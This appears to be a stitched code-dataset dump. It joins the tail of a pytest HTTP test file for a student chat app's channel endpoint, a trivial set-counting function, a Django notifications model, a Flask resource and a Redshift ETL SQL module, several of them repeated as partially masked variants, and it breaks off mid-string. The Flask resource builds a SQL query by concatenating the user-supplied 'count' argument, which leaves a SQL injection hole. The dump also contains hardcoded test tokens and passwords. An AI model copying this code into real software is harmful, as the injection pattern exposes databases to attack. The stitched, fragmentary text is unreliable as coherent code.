\"\"\"\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n queryString = urllib.parse.urlencode({'token': user_1_token,\n 'channel_id': 1})\n payload = load(urllib.request.urlopen(\n f'{BASE_URL}/channel/details?{queryString}'))\n assert payload['name'] == 'a channel'\n assert payload['owner_members'] == [{'u_id': 1, 'name_first': 'Alan',\n 'name_last': 'Turing'}]\n\n\ndef test_invalid_channelID(register_loginx2_create_invite):\n \"\"\"\n Channel ID is not a valid channel\n \"\"\"\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n queryString = urllib.parse.urlencode({'token': user_1_token,\n 'channel_id': 50})\n with pytest.raises(urllib.error.HTTPError):\n urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}')\n\n\ndef test_unauthorised_user(register_loginx2_create_invite):\n \"\"\"\n Authorised user is not a member of channel with channel_id\n \"\"\"\n register_info_2 = dumps({'email': 'z5454545@unsw.edu.au', 'password':\n 'testPassword', 'name_first': 'Test', 'name_last': 'User'}).encode(\n 'utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_2, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n login3_info = dumps({'email': 'z5454545@unsw.edu.au', 'password':\n 'testPassword'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login3_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n user_3_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMyJ9.hnzKv5QKl78L2jWvtB8w9kcxZHo1UFxGN5shF7HBK0Y'\"\n )\n queryString = urllib.parse.urlencode({'token': user_3_token,\n 'channel_id': 1})\n with pytest.raises(urllib.error.HTTPError):\n urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}')\n", "step-5": "'''\nHTTP Test for channel details\n'''\nimport sys\nsys.path.append('..')\nfrom json import load, dumps\nimport urllib.request\nimport urllib.parse\nimport pytest\n\n\nPORT_NUMBER = '5204'\nBASE_URL = 'http://127.0.0.1:' + PORT_NUMBER\n#BASE_URL now is 'http://127.0.0.1:5321'\n\n@pytest.fixture\ndef register_loginx2_create_invite():\n '''\n Registers, logs in 2 users, creates new channel\n '''\n # RESET\n req = urllib.request.Request(\n f'{BASE_URL}/workspace/reset',\n headers={'Content-Type': 'application/json'},\n method='POST'\n )\n\n load(urllib.request.urlopen(req))\n\n # REGISTER user_1\n register_info_1 = dumps({\n 'email': 'z5209488@unsw.edu.au',\n 'password': 'enigma',\n 'name_first': 'Alan',\n 'name_last': 'Turing'\n }).encode('utf-8')\n\n req = urllib.request.Request(\n f'{BASE_URL}/auth/register',\n data=register_info_1,\n headers={'Content-Type': 'application/json'},\n method='POST'\n )\n\n load(urllib.request.urlopen(req))\n\n # REGISTER user_2\n register_info_2 = dumps({\n 'email': 'z5432455@unsw.edu.au',\n 'password': 'lovepassword',\n 'name_first': 'Ada',\n 'name_last': 'Lovelace'\n }).encode('utf-8')\n\n\n req = urllib.request.Request(\n f'{BASE_URL}/auth/register',\n data=register_info_2,\n headers={'Content-Type': 'application/json'},\n method='POST'\n )\n\n load(urllib.request.urlopen(req))\n\n # Login user_1\n login_info = dumps({\n 'email': 'z5209488@unsw.edu.au',\n 'password': 'enigma'\n }).encode('utf-8')\n\n req = urllib.request.Request(\n f'{BASE_URL}/auth/login',\n data=login_info,\n headers={'Content-Type': 'application/json'},\n method='POST'\n )\n\n # Login user_2\n login_info = dumps({\n 'email': 'z5432455@unsw.edu.au',\n 'password': 'lovepassword'\n }).encode('utf-8')\n\n req = urllib.request.Request(\n f'{BASE_URL}/auth/login',\n data=login_info,\n headers={'Content-Type': 'application/json'},\n method='POST'\n )\n\n load(urllib.request.urlopen(req))\n #return payload\n\n user_1_token = 'b\\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg\\''\n #user_2_token = 'b\\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMiJ9.UNGv0HfSeyM4FtXkAc4HfuOl_HyNLFmRMeLx_4c0Ryg\\''\n\n # user_1 creates a public channel\n channel_info = dumps({\n 'token': user_1_token,\n 'name': 'a channel',\n 'is_public': True\n }).encode('utf-8')\n\n req = urllib.request.Request(\n f'{BASE_URL}/channels/create',\n data=channel_info,\n headers={'Content-Type': 'application/json'},\n method='POST'\n )\n\n load(urllib.request.urlopen(req))\n\n # user_2 join user_1's channel\n join_info = dumps({\n 'token': user_1_token,\n 'channel_id': 1,\n 'u_id': 2\n }).encode('utf-8')\n\n req = urllib.request.Request(\n f'{BASE_URL}/channel/invite',\n data=join_info,\n headers={'Content-Type': 'application/json'},\n method='POST'\n )\n\n load(urllib.request.urlopen(req))\n\ndef test_details_basic(register_loginx2_create_invite):\n '''\n This test should pass with no issues\n '''\n user_1_token = 'b\\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg\\''\n #user_2_token = 'b\\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMiJ9.UNGv0HfSeyM4FtXkAc4HfuOl_HyNLFmRMeLx_4c0Ryg\\''\n\n # Get channels details\n queryString = urllib.parse.urlencode({\n 'token': user_1_token,\n 'channel_id': 1\n })\n payload = load(urllib.request.urlopen(f\"{BASE_URL}/channel/details?{queryString}\"))\n\n\n\n #payload = load(urllib.request.urlopen(req))\n\n assert payload['name'] == 'a channel'\n assert payload['owner_members'] == [{\"u_id\": 1, \"name_first\": \"Alan\", \"name_last\": \"Turing\"}]\n\ndef test_invalid_channelID(register_loginx2_create_invite):\n '''\n Channel ID is not a valid channel\n '''\n\n user_1_token = 'b\\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg\\''\n #user_2_token = 'b\\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMiJ9.UNGv0HfSeyM4FtXkAc4HfuOl_HyNLFmRMeLx_4c0Ryg\\''\n\n queryString = urllib.parse.urlencode({\n 'token': user_1_token,\n 'channel_id': 50\n })\n\n\n\n with pytest.raises(urllib.error.HTTPError):\n urllib.request.urlopen(f\"{BASE_URL}/channel/details?{queryString}\")\n\n #load(urllib.request.urlopen(req))\n\ndef test_unauthorised_user(register_loginx2_create_invite):\n '''\n Authorised user is not a member of channel with channel_id\n '''\n\n register_info_2 = dumps({\n 'email': 'z5454545@unsw.edu.au',\n 'password': 'testPassword',\n 'name_first': 'Test',\n 'name_last': 'User'\n }).encode('utf-8')\n\n req = urllib.request.Request(\n f'{BASE_URL}/auth/register',\n data=register_info_2,\n headers={'Content-Type': 'application/json'},\n method='POST'\n )\n\n load(urllib.request.urlopen(req))\n\n login3_info = dumps({\n 'email': 'z5454545@unsw.edu.au',\n 'password': 'testPassword'\n }).encode('utf-8')\n\n req = urllib.request.Request(\n f'{BASE_URL}/auth/login',\n data=login3_info,\n headers={'Content-Type': 'application/json'},\n method='POST'\n )\n\n user_3_token = 'b\\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMyJ9.hnzKv5QKl78L2jWvtB8w9kcxZHo1UFxGN5shF7HBK0Y\\''\n\n queryString = urllib.parse.urlencode({\n 'token': user_3_token,\n 'channel_id': 1\n })\n\n with pytest.raises(urllib.error.HTTPError):\n urllib.request.urlopen(f\"{BASE_URL}/channel/details?{queryString}\")\n", "step-ids": [ 4, 5, 6, 7, 8 ] }
[ 4, 5, 6, 7, 8 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> def unique(lisst): setlisst = set(lisst) return len(setlisst) <|reserved_special_token_0|> <|reserved_special_token_1|> def unique(lisst): setlisst = set(lisst) return len(setlisst) print(unique({4, 5, 1, 1, 3}))
flexible
{ "blob_id": "42d26ef51bb4dafc8a0201a828652e166a3905e4", "index": 7339, "step-1": "<mask token>\n", "step-2": "def unique(lisst):\n setlisst = set(lisst)\n return len(setlisst)\n\n\n<mask token>\n", "step-3": "def unique(lisst):\n setlisst = set(lisst)\n return len(setlisst)\n\n\nprint(unique({4, 5, 1, 1, 3}))\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
from django.db import models from datetime import datetime # Create your models here. class Notifications(models.Model): username= models.CharField(max_length=20) phone_number= models.BigIntegerField(default= 0) email= models.EmailField() firstname= models.CharField(max_length=20) app_name= models.CharField(max_length=50) service= models.CharField(max_length=50) datetime= models.CharField(default= str(datetime.now()), max_length=50) message= models.CharField(default= 0, max_length=300) notify_type= models.CharField(default= 'email', max_length=20)
normal
{ "blob_id": "51ed99a68486bd52499bbc28e68ff2312e02ea1f", "index": 6604, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Notifications(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Notifications(models.Model):\n username = models.CharField(max_length=20)\n phone_number = models.BigIntegerField(default=0)\n email = models.EmailField()\n firstname = models.CharField(max_length=20)\n app_name = models.CharField(max_length=50)\n service = models.CharField(max_length=50)\n datetime = models.CharField(default=str(datetime.now()), max_length=50)\n message = models.CharField(default=0, max_length=300)\n notify_type = models.CharField(default='email', max_length=20)\n", "step-4": "from django.db import models\nfrom datetime import datetime\n\n\nclass Notifications(models.Model):\n username = models.CharField(max_length=20)\n phone_number = models.BigIntegerField(default=0)\n email = models.EmailField()\n firstname = models.CharField(max_length=20)\n app_name = models.CharField(max_length=50)\n service = models.CharField(max_length=50)\n datetime = models.CharField(default=str(datetime.now()), max_length=50)\n message = models.CharField(default=0, max_length=300)\n notify_type = models.CharField(default='email', max_length=20)\n", "step-5": "from django.db import models\nfrom datetime import datetime\n\n\n# Create your models here.\nclass Notifications(models.Model):\n username= models.CharField(max_length=20)\n phone_number= models.BigIntegerField(default= 0)\n email= models.EmailField()\n firstname= models.CharField(max_length=20)\n app_name= models.CharField(max_length=50)\n service= models.CharField(max_length=50)\n datetime= models.CharField(default= str(datetime.now()), max_length=50)\n message= models.CharField(default= 0, max_length=300)\n notify_type= models.CharField(default= 'email', max_length=20)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class MulActionResource(restful.Resource): def __init__(self): self.db = get_connection() def post(self, type): args = parser.parse_args() count = args.get('count') sids = [] if type == 'extract': pass elif type == 'location': articles = self.db.query( "select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0," + count) locations = self.db.query( 'select sid,name,data from location where name!=%s', (u'其它',)) other_sid = self.db.get('select sid from location where name=%s', (u'其它',))['sid'] for article in articles: sids.append(article['sid']) content = article['title'] + article['content'] lc = False for location in locations: sid = location['sid'] words = [location['name']] if location['data']: words += location['data'].split('|') for word in words: if word in content: lc = True self.db.update( 'update article set location_sid=%s where sid=%s' , (sid, article['sid'])) break if lc: break if not lc: self.db.update( 'update article set location_sid=%s where sid=%s', (other_sid, article['sid'])) return {'count': count, 'sids': sids} else: return 'no such command', 404 <|reserved_special_token_1|> <|reserved_special_token_0|> parser.add_argument('count', type=str) class MulActionResource(restful.Resource): def __init__(self): self.db = get_connection() def post(self, type): args = parser.parse_args() count = args.get('count') sids = [] if type == 'extract': pass elif type == 'location': articles = self.db.query( "select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0," + count) locations = self.db.query( 'select sid,name,data from location where name!=%s', (u'其它',)) other_sid = self.db.get('select sid from location where name=%s', (u'其它',))['sid'] for article in articles: sids.append(article['sid']) content = article['title'] + article['content'] lc = False for location in locations: sid = location['sid'] words = [location['name']] if location['data']: words += location['data'].split('|') for word in words: if word in content: lc = True self.db.update( 'update article set location_sid=%s where sid=%s' , (sid, article['sid'])) break if lc: break if not lc: self.db.update( 'update article set location_sid=%s where sid=%s', (other_sid, article['sid'])) return {'count': count, 'sids': sids} else: return 'no such command', 404 <|reserved_special_token_1|> __author__ = 'jz' <|reserved_special_token_0|> parser = reqparse.RequestParser() parser.add_argument('count', type=str) class MulActionResource(restful.Resource): def __init__(self): self.db = get_connection() def post(self, type): args = parser.parse_args() count = args.get('count') sids = [] if type == 'extract': pass elif type == 'location': articles = self.db.query( "select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0," + count) locations = self.db.query( 'select sid,name,data from location where name!=%s', (u'其它',)) other_sid = self.db.get('select sid from location where name=%s', (u'其它',))['sid'] for article in articles: sids.append(article['sid']) content = article['title'] + article['content'] lc = False for location in locations: sid = location['sid'] words = [location['name']] if location['data']: words += location['data'].split('|') for word in words: if word in content: lc = True self.db.update( 'update article set location_sid=%s where sid=%s' , (sid, article['sid'])) break if lc: break if not lc: self.db.update( 'update article set location_sid=%s where sid=%s', (other_sid, article['sid'])) return {'count': count, 'sids': sids} else: return 'no such command', 404 <|reserved_special_token_1|> __author__ = 'jz' from flask.ext import restful from flask.ext.restful import reqparse from scs_app.db_connect import * parser = reqparse.RequestParser() parser.add_argument('count', type=str) class MulActionResource(restful.Resource): def __init__(self): self.db = get_connection() def post(self, type): args = parser.parse_args() count = args.get('count') sids = [] if type == 'extract': pass elif type == 'location': articles = self.db.query( "select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0," + count) locations = self.db.query( 'select sid,name,data from location where name!=%s', (u'其它',)) other_sid = self.db.get('select sid from location where name=%s', (u'其它',))['sid'] for article in articles: sids.append(article['sid']) content = article['title'] + article['content'] lc = False for location in locations: sid = location['sid'] words = [location['name']] if location['data']: words += location['data'].split('|') for word in words: if word in content: lc = True self.db.update( 'update article set location_sid=%s where sid=%s' , (sid, article['sid'])) break if lc: break if not lc: self.db.update( 'update article set location_sid=%s where sid=%s', (other_sid, article['sid'])) return {'count': count, 'sids': sids} else: return 'no such command', 404 <|reserved_special_token_1|> # -*- coding: utf-8 -*- __author__ = 'jz' from flask.ext import restful from flask.ext.restful import reqparse from scs_app.db_connect import * parser = reqparse.RequestParser() parser.add_argument('count', type=str) class MulActionResource(restful.Resource): def __init__(self): self.db = get_connection() def post(self, type): args = parser.parse_args() count = args.get('count') sids = [] if type == 'extract': # todo multi extract pass elif type == 'location': articles = self.db.query( "select article.sid,title,content from article left join site on article.site_sid=site.sid" " where lang='cn' and location_sid IS NULL LIMIT 0," + count) locations = self.db.query('select sid,name,data from location where name!=%s', (u'其它',)) other_sid = self.db.get('select sid from location where name=%s', (u'其它',))['sid'] for article in articles: sids.append(article['sid']) content = article['title'] + article['content'] lc = False for location in locations: sid = location['sid'] words = [location['name']] if location['data']: words += location['data'].split('|') for word in words: if word in content: lc = True self.db.update('update article set location_sid=%s where sid=%s', (sid, article['sid'])) break if lc: break if not lc: self.db.update('update article set location_sid=%s where sid=%s', (other_sid, article['sid'])) return { 'count': count, 'sids': sids } else: return 'no such command', 404
flexible
{ "blob_id": "44476a32b8ab68820d73955321e57b7d1b608beb", "index": 6823, "step-1": "<mask token>\n\n\nclass MulActionResource(restful.Resource):\n\n def __init__(self):\n self.db = get_connection()\n\n def post(self, type):\n args = parser.parse_args()\n count = args.get('count')\n sids = []\n if type == 'extract':\n pass\n elif type == 'location':\n articles = self.db.query(\n \"select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0,\"\n + count)\n locations = self.db.query(\n 'select sid,name,data from location where name!=%s', (u'其它',))\n other_sid = self.db.get('select sid from location where name=%s',\n (u'其它',))['sid']\n for article in articles:\n sids.append(article['sid'])\n content = article['title'] + article['content']\n lc = False\n for location in locations:\n sid = location['sid']\n words = [location['name']]\n if location['data']:\n words += location['data'].split('|')\n for word in words:\n if word in content:\n lc = True\n self.db.update(\n 'update article set location_sid=%s where sid=%s'\n , (sid, article['sid']))\n break\n if lc:\n break\n if not lc:\n self.db.update(\n 'update article set location_sid=%s where sid=%s',\n (other_sid, article['sid']))\n return {'count': count, 'sids': sids}\n else:\n return 'no such command', 404\n", "step-2": "<mask token>\nparser.add_argument('count', type=str)\n\n\nclass MulActionResource(restful.Resource):\n\n def __init__(self):\n self.db = get_connection()\n\n def post(self, type):\n args = parser.parse_args()\n count = args.get('count')\n sids = []\n if type == 'extract':\n pass\n elif type == 'location':\n articles = self.db.query(\n \"select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0,\"\n + count)\n locations = self.db.query(\n 'select sid,name,data from location where name!=%s', (u'其它',))\n other_sid = self.db.get('select sid from location where name=%s',\n (u'其它',))['sid']\n for article in articles:\n sids.append(article['sid'])\n content = article['title'] + article['content']\n lc = False\n for location in locations:\n sid = location['sid']\n words = [location['name']]\n if location['data']:\n words += location['data'].split('|')\n for word in words:\n if word in content:\n lc = True\n self.db.update(\n 'update article set location_sid=%s where sid=%s'\n , (sid, article['sid']))\n break\n if lc:\n break\n if not lc:\n self.db.update(\n 'update article set location_sid=%s where sid=%s',\n (other_sid, article['sid']))\n return {'count': count, 'sids': sids}\n else:\n return 'no such command', 404\n", "step-3": "__author__ = 'jz'\n<mask token>\nparser = reqparse.RequestParser()\nparser.add_argument('count', type=str)\n\n\nclass MulActionResource(restful.Resource):\n\n def __init__(self):\n self.db = get_connection()\n\n def post(self, type):\n args = parser.parse_args()\n count = args.get('count')\n sids = []\n if type == 'extract':\n pass\n elif type == 'location':\n articles = self.db.query(\n \"select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0,\"\n + count)\n locations = self.db.query(\n 'select sid,name,data from location where name!=%s', (u'其它',))\n other_sid = self.db.get('select sid from location where name=%s',\n (u'其它',))['sid']\n for article in articles:\n sids.append(article['sid'])\n content = article['title'] + article['content']\n lc = False\n for location in locations:\n sid = location['sid']\n words = [location['name']]\n if location['data']:\n words += location['data'].split('|')\n for word in words:\n if word in content:\n lc = True\n self.db.update(\n 'update article set location_sid=%s where sid=%s'\n , (sid, article['sid']))\n break\n if lc:\n break\n if not lc:\n self.db.update(\n 'update article set location_sid=%s where sid=%s',\n (other_sid, article['sid']))\n return {'count': count, 'sids': sids}\n else:\n return 'no such command', 404\n", "step-4": "__author__ = 'jz'\nfrom flask.ext import restful\nfrom flask.ext.restful import reqparse\nfrom scs_app.db_connect import *\nparser = reqparse.RequestParser()\nparser.add_argument('count', type=str)\n\n\nclass MulActionResource(restful.Resource):\n\n def __init__(self):\n self.db = get_connection()\n\n def post(self, type):\n args = parser.parse_args()\n count = args.get('count')\n sids = []\n if type == 'extract':\n pass\n elif type == 'location':\n articles = self.db.query(\n \"select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0,\"\n + count)\n locations = self.db.query(\n 'select sid,name,data from location where name!=%s', (u'其它',))\n other_sid = self.db.get('select sid from location where name=%s',\n (u'其它',))['sid']\n for article in articles:\n sids.append(article['sid'])\n content = article['title'] + article['content']\n lc = False\n for location in locations:\n sid = location['sid']\n words = [location['name']]\n if location['data']:\n words += location['data'].split('|')\n for word in words:\n if word in content:\n lc = True\n self.db.update(\n 'update article set location_sid=%s where sid=%s'\n , (sid, article['sid']))\n break\n if lc:\n break\n if not lc:\n self.db.update(\n 'update article set location_sid=%s where sid=%s',\n (other_sid, article['sid']))\n return {'count': count, 'sids': sids}\n else:\n return 'no such command', 404\n", "step-5": "# -*- coding: utf-8 -*-\r\n__author__ = 'jz'\r\n\r\nfrom flask.ext import restful\r\nfrom flask.ext.restful import reqparse\r\n\r\nfrom scs_app.db_connect import *\r\n\r\nparser = reqparse.RequestParser()\r\nparser.add_argument('count', type=str)\r\n\r\n\r\nclass MulActionResource(restful.Resource):\r\n def __init__(self):\r\n self.db = get_connection()\r\n\r\n def post(self, type):\r\n args = parser.parse_args()\r\n count = args.get('count')\r\n sids = []\r\n if type == 'extract':\r\n # todo multi extract\r\n pass\r\n elif type == 'location':\r\n articles = self.db.query(\r\n \"select article.sid,title,content from article left join site on article.site_sid=site.sid\"\r\n \" where lang='cn' and location_sid IS NULL LIMIT 0,\" + count)\r\n locations = self.db.query('select sid,name,data from location where name!=%s', (u'其它',))\r\n other_sid = self.db.get('select sid from location where name=%s', (u'其它',))['sid']\r\n for article in articles:\r\n sids.append(article['sid'])\r\n content = article['title'] + article['content']\r\n lc = False\r\n for location in locations:\r\n sid = location['sid']\r\n words = [location['name']]\r\n if location['data']:\r\n words += location['data'].split('|')\r\n for word in words:\r\n if word in content:\r\n lc = True\r\n self.db.update('update article set location_sid=%s where sid=%s', (sid, article['sid']))\r\n break\r\n if lc:\r\n break\r\n if not lc:\r\n self.db.update('update article set location_sid=%s where sid=%s', (other_sid, article['sid']))\r\n return {\r\n 'count': count,\r\n 'sids': sids\r\n }\r\n else:\r\n return 'no such command', 404", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
import configparser # CONFIG config = configparser.ConfigParser() config.read('dwh.cfg') # DISTRIBUTION SCHEMA schema = ("""CREATE SCHEMA IF NOT EXISTS public; SET search_path TO public;""") # DROP TABLES staging_events_table_drop = ("DROP TABLE IF EXISTS staging_events;") staging_songs_table_drop = ("DROP TABLE IF EXISTS staging_songs;") songplay_table_drop = ("DROP TABLE IF EXISTS songplay;") users_table_drop = ("DROP TABLE IF EXISTS users;") song_table_drop = ("DROP TABLE IF EXISTS song;") artist_table_drop = ("DROP TABLE IF EXISTS artist;") time_table_drop = ("DROP TABLE IF EXISTS time;") # CREATE STAGING TABLES staging_events_table_create = ("""CREATE TABLE staging_events( artist VARCHAR, auth VARCHAR, first_name VARCHAR, gender CHAR(16), item_in_session INTEGER, last_name VARCHAR, length FLOAT, level VARCHAR(10), location VARCHAR, method VARCHAR(4), page VARCHAR(16), registration VARCHAR, session_id INTEGER, song VARCHAR, status INTEGER, ts BIGINT, user_agent VARCHAR, user_id INTEGER);""") staging_songs_table_create = ("""CREATE TABLE staging_songs( song_id VARCHAR, num_songs INTEGER, artist_id VARCHAR, artist_latitude VARCHAR, artist_longitude VARCHAR, artist_location VARCHAR, artist_name VARCHAR, title VARCHAR, duration FLOAT, year INTEGER);""") # CREATE FACT TABLE songplay_table_create = ("""CREATE TABLE songplay ( songplay_id INTEGER IDENTITY(0,1) sortkey, start_time TIMESTAMP, user_id INTEGER, level VARCHAR(10), song_id VARCHAR distkey, artist_id VARCHAR, session_id INTEGER, location VARCHAR, user_agent VARCHAR);""") # CREATE DIMENSION TABLES users_table_create = ("""CREATE TABLE users ( user_id INTEGER sortkey distkey, first_name VARCHAR, last_name VARCHAR, gender CHAR(16), level VARCHAR(10));""") song_table_create = ("""CREATE TABLE song ( song_id VARCHAR sortkey distkey, title VARCHAR, artist_id VARCHAR, year INTEGER, duration FLOAT);""") artist_table_create = ("""CREATE TABLE artist ( artist_id VARCHAR sortkey distkey, artist_name VARCHAR, artist_location VARCHAR, artist_latitude VARCHAR, artist_longitude VARCHAR);""") time_table_create = ("""CREATE TABLE time ( start_time TIMESTAMP sortkey distkey, hour INTEGER, day INTEGER, week INTEGER, month INTEGER, year INTEGER, weekday INTEGER);""") # COPY FROM S3 INTO STAGING TABLES staging_events_copy = ("""COPY staging_events FROM 's3://udacity-dend/log_data' CREDENTIALS 'aws_iam_role={}' COMPUPDATE OFF REGION 'us-west-2' FORMAT AS JSON 's3://udacity-dend/log_json_path.json'; """).format("IAM ARN") #limiting data due to execution time - remove prefix /A/A/ to copy entire file staging_songs_copy = ("""COPY staging_songs FROM 's3://udacity-dend/song_data' CREDENTIALS 'aws_iam_role={}' COMPUPDATE OFF REGION 'us-west-2' JSON 'auto' truncatecolumns; """).format("IAM ARN") # INSERT FROM STAGING TO FINAL TABLES songplay_table_insert =("""INSERT INTO songplay(start_time, user_id, level, song_id, artist_id, session_id,location, user_agent) SELECT DISTINCT TIMESTAMP 'epoch' + ts/1000 *INTERVAL '1second' as start_time, se.user_id, se.level, ss.song_id, ss.artist_id, se.session_id, se.location, se.user_agent FROM staging_events se, staging_songs ss WHERE se.page = 'NextSong' AND se.artist = ss.artist_name AND se.length = ss.duration""") users_table_insert = ("""INSERT INTO users (user_id, first_name, last_name, gender, level) SELECT se.user_id, se.first_name, se.last_name, se.gender, se.level FROM staging_events se""") song_table_insert = ("""INSERT INTO song (song_id, title, artist_id, year, duration) SELECT ss.song_id, ss.title, ss.artist_id, ss.year, ss.duration FROM staging_songs ss""") artist_table_insert = ("""INSERT INTO artist (artist_id, artist_name, artist_location, artist_latitude, artist_longitude) SELECT ss.artist_id, ss.artist_name, ss.artist_location, ss.artist_latitude, ss.artist_longitude FROM staging_songs ss""") time_table_insert = ("""INSERT INTO time(start_time, hour, day, week, month, year, weekday) SELECT start_time, EXTRACT(hour from start_time), EXTRACT(day from start_time), EXTRACT(week from start_time), EXTRACT(month from start_time), EXTRACT(year from start_time), EXTRACT(dayofweek from start_time) FROM songplay""") #TEST QUERIES test1 = ("""SELECT * FROM songplay LIMIT 1; """) test2 = ("""SELECT * FROM users LIMIT 1; """) test3 = ("""SELECT * FROM song LIMIT 1; """) test4 = ("""SELECT * FROM artist LIMIT 1; """) test5 = ("""SELECT * FROM time LIMIT 1; """) # QUERY LISTS create_table_queries = [staging_events_table_create, staging_songs_table_create, songplay_table_create, users_table_create, song_table_create, artist_table_create, time_table_create] drop_table_queries = [staging_events_table_drop, staging_songs_table_drop, songplay_table_drop, users_table_drop, song_table_drop, artist_table_drop, time_table_drop] copy_table_queries = [staging_events_copy, staging_songs_copy] insert_table_queries = [songplay_table_insert, users_table_insert, song_table_insert, artist_table_insert, time_table_insert] test_queries = [test1, test2, test3, test4, test5]
normal
{ "blob_id": "65b7a14c54cd988185bac54fd8a31330966f8ba9", "index": 1916, "step-1": "<mask token>\n", "step-2": "<mask token>\nconfig.read('dwh.cfg')\n<mask token>\n", "step-3": "<mask token>\nconfig = configparser.ConfigParser()\nconfig.read('dwh.cfg')\nschema = \"\"\"CREATE SCHEMA IF NOT EXISTS public;\n SET search_path TO public;\"\"\"\nstaging_events_table_drop = 'DROP TABLE IF EXISTS staging_events;'\nstaging_songs_table_drop = 'DROP TABLE IF EXISTS staging_songs;'\nsongplay_table_drop = 'DROP TABLE IF EXISTS songplay;'\nusers_table_drop = 'DROP TABLE IF EXISTS users;'\nsong_table_drop = 'DROP TABLE IF EXISTS song;'\nartist_table_drop = 'DROP TABLE IF EXISTS artist;'\ntime_table_drop = 'DROP TABLE IF EXISTS time;'\nstaging_events_table_create = \"\"\"CREATE TABLE staging_events(\n artist VARCHAR,\n auth VARCHAR,\n first_name VARCHAR,\n gender CHAR(16),\n item_in_session INTEGER,\n last_name VARCHAR,\n length FLOAT,\n level VARCHAR(10),\n location VARCHAR,\n method VARCHAR(4),\n page VARCHAR(16),\n registration VARCHAR,\n session_id INTEGER,\n song VARCHAR,\n status INTEGER,\n ts BIGINT,\n user_agent VARCHAR,\n user_id INTEGER);\"\"\"\nstaging_songs_table_create = \"\"\"CREATE TABLE staging_songs(\n song_id VARCHAR,\n num_songs INTEGER,\n artist_id VARCHAR,\n artist_latitude VARCHAR,\n artist_longitude VARCHAR,\n artist_location VARCHAR,\n artist_name VARCHAR,\n title VARCHAR,\n duration FLOAT,\n year INTEGER);\"\"\"\nsongplay_table_create = \"\"\"CREATE TABLE songplay (\n songplay_id INTEGER IDENTITY(0,1) sortkey,\n start_time TIMESTAMP, \n user_id INTEGER,\n level VARCHAR(10),\n song_id VARCHAR distkey,\n artist_id VARCHAR,\n session_id INTEGER,\n location VARCHAR,\n user_agent VARCHAR);\"\"\"\nusers_table_create = \"\"\"CREATE TABLE users (\n user_id INTEGER sortkey distkey,\n first_name VARCHAR,\n last_name VARCHAR,\n gender CHAR(16),\n level VARCHAR(10));\"\"\"\nsong_table_create = \"\"\"CREATE TABLE song (\n song_id VARCHAR sortkey distkey,\n title VARCHAR,\n artist_id VARCHAR,\n year INTEGER,\n duration FLOAT);\"\"\"\nartist_table_create = \"\"\"CREATE TABLE artist (\n artist_id VARCHAR sortkey distkey,\n artist_name VARCHAR,\n artist_location VARCHAR,\n artist_latitude VARCHAR,\n artist_longitude VARCHAR);\"\"\"\ntime_table_create = \"\"\"CREATE TABLE time (\n start_time TIMESTAMP sortkey distkey,\n hour INTEGER,\n day INTEGER,\n week INTEGER,\n month INTEGER,\n year INTEGER,\n weekday INTEGER);\"\"\"\nstaging_events_copy = (\n \"\"\"COPY staging_events\n FROM 's3://udacity-dend/log_data'\n CREDENTIALS 'aws_iam_role={}' \n COMPUPDATE OFF REGION 'us-west-2'\n FORMAT AS JSON 's3://udacity-dend/log_json_path.json';\n \"\"\"\n .format('IAM ARN'))\nstaging_songs_copy = (\n \"\"\"COPY staging_songs \n FROM 's3://udacity-dend/song_data'\n CREDENTIALS 'aws_iam_role={}'\n COMPUPDATE OFF REGION 'us-west-2'\n JSON 